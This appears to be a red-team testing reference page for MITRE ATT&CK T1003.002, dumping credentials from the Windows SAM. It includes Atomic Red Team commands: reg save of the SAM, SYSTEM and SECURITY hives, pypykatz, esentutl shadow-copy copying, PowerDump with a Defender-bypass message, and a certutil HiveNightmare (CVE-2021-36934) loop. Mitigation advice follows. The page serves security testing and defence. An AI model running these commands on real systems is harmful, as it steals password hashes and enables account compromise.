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Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is...
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基于 SOC 职业分类
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| name | T1003.002_security-account-manager |
| description | Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is... |
| category | authentication |
| version | 18.1 |
| author | cyberstrike-official |
| tags | ["mitre-attack","enterprise","t1003.002","credential-access","windows","sub-technique"] |
| technique_id | T1003.002 |
| tactic | credential-access |
| all_tactics | ["credential-access"] |
| platforms | ["Windows"] |
| mitre_url | https://attack.mitre.org/techniques/T1003/002 |
| tech_stack | ["windows"] |
| cwe_ids | ["CWE-522"] |
| chains_with | ["T1003","T1003.001","T1003.003","T1003.004","T1003.005","T1003.006","T1003.007","T1003.008"] |
| prerequisites | ["T1003"] |
| severity_boost | {"T1003":"Chain with T1003 for deeper attack path","T1003.001":"Chain with T1003.001 for deeper attack path","T1003.003":"Chain with T1003.003 for deeper attack path"} |
Sub-technique of: T1003
Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.
A number of tools can be used to retrieve the SAM file through in-memory techniques:
Alternatively, the SAM can be extracted from the Registry with Reg:
reg save HKLM\sam samreg save HKLM\system systemCreddump7 can then be used to process the SAM database locally to retrieve hashes.
Notes:
Platforms: Windows
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated via three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7
Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.
Supported Platforms: windows Yes
reg save HKLM\sam %temp%\sam
reg save HKLM\system %temp%\system
reg save HKLM\security %temp%\security
Parses registry hives to obtain stored credentials.
Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.
Supported Platforms: windows Elevation Required: Yes
"#{venv_path}\Scripts\pypykatz" live lsa
Dependencies:
Copy the SAM hive using the esentutl.exe utility This can also be used to copy other files and hives like SYSTEM, NTUSER.dat etc.
Supported Platforms: windows Elevation Required: Yes
esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name}
Executes a hashdump by reading the hashes from the registry.
Supported Platforms: windows Elevation Required: Yes
Write-Host "STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON" -fore green
Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerDump.ps1"
Invoke-PowerDump
Dependencies:
Dump hives from volume shadow copies with the certutil utility, exploiting a vulnerability known as "HiveNightmare" or "SeriousSAM". This can be done with a non-admin user account. CVE-2021-36934
Supported Platforms: windows
for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy%a\Windows\System32\config\#{target_hive}" %temp%\#{target_hive}vss%a 2 >nul 2>&1) & dir /B %temp%\#{target_hive}vss*
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to Security Account Manager by examining the target platforms (Windows).
Assess Existing Defenses: Review whether mitigations for T1003.002 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Ensure that local administrator accounts have complex, unique passwords across all systems on the network.
Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.
Consider disabling or restricting NTLM.
Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.
| Finding | Severity | Impact |
|---|---|---|
| Security Account Manager technique applicable | High | Credential Access |
| CWE ID | Title |
|---|---|
| CWE-522 | Insufficiently Protected Credentials |